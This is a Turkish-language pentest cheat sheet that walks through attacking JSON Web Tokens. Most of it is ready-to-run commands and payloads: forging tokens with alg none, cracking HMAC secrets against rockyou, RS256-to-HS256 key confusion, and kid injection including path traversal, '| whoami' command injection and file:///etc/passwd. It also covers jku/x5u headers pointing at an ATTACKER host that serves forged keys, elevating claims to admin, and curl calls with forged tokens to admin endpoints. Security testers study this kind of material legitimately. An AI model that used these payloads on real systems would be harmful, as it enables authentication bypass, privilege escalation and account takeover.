JWT Vulnerabilities (Json Web Tokens)
web auth
JWT (header.payload.signature) oturum ve API yetkilendirmesinde sık kullanılır.
Saldırı yüzeyi: algoritma seçimi, zayıf HMAC secret, asimetrik key confusion,
kid/jku/x5u enjeksiyonu ve claim manipülasyonu.
base64url(header).base64url(payload).base64url(signature)echo 'TOKEN' | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null; echoecho 'TOKEN' | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echojwt_tool TOKENMetodoloji
Section titled “Metodoloji”-
Token’ı yakala (cookie, Authorization Bearer, localStorage).
-
Header/payload decode et —
alg,kid,jku, roller,exp. -
none / weak secret / key confusion / kid injection hipotezlerini sırayla dene.
-
Üretilen token ile korunan endpoint’te yetki yükseltmesini kanıtla.
none algoritması
Section titled “none algoritması”jwt_tool TOKEN -X a{"alg":"none"}{"alg":"None"}{"alg":"NONE"}{"alg":"nOnE"}# imza kısmını boş bırak: header.payload.Zayıf HMAC secret
Section titled “Zayıf HMAC secret”jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txthashcat -m 16500 jwt.txt rockyou.txtjohn jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256jwt_tool TOKEN -S hs256 -p 'secret'Key confusion (RS256 → HS256)
Section titled “Key confusion (RS256 → HS256)”Sunucu RS256 beklerken saldırgan public key ile HS256 imzalarsa bazı kütüphaneler public key’i HMAC secret gibi kullanır.
jwt_tool TOKEN -X k -pk public.pemopenssl rsa -pubin -in public.pem -outform PEMkid injection
Section titled “kid injection”{"alg":"HS256","kid":"../../../../dev/null"}{"alg":"HS256","kid":"| whoami"}{"kid":"file:///etc/passwd"}jwt_tool TOKEN -I -hc kid -hv '../../dev/null' -S hs256 -p ''jku / x5u
Section titled “jku / x5u”{"alg":"RS256","jku":"https://ATTACKER/jwks.json"}{"alg":"RS256","x5u":"https://ATTACKER/cert.pem"}# ATTACKER'da kendi JWKS'ini host et, token'ı kendi private key ile imzalapython3 -m http.server 8000Claim manipülasyonu
Section titled “Claim manipülasyonu”jwt_tool TOKEN -I -pc role -pv admin -S hs256 -p 'knownsecret'jwt_tool TOKEN -I -pc sub -pv admin -S hs256 -p 'knownsecret'"admin": false → true"user": "attacker""exp": uzak gelecekBurp / manuel
Section titled “Burp / manuel”GET /api/me HTTP/1.1Host: TARGETAuthorization: Bearer HEADER.PAYLOAD.SIG# JWT Editor / json-web-tokens Burp eklentisi ile header.alg ve claim düzenleEtki kanıtı
Section titled “Etki kanıtı”curl -sk https://TARGET/api/admin -H 'Authorization: Bearer FORGED'curl -sk https://TARGET/api/users -H 'Cookie: session=FORGED'Checklist
Section titled “Checklist”[ ] Token decode edildi (alg/kid/jku/claims)[ ] none alg denendi[ ] weak secret kırıldı veya elendi[ ] key confusion / kid / jku denendi[ ] forged token ile yetki yükseltmesi kanıtlandı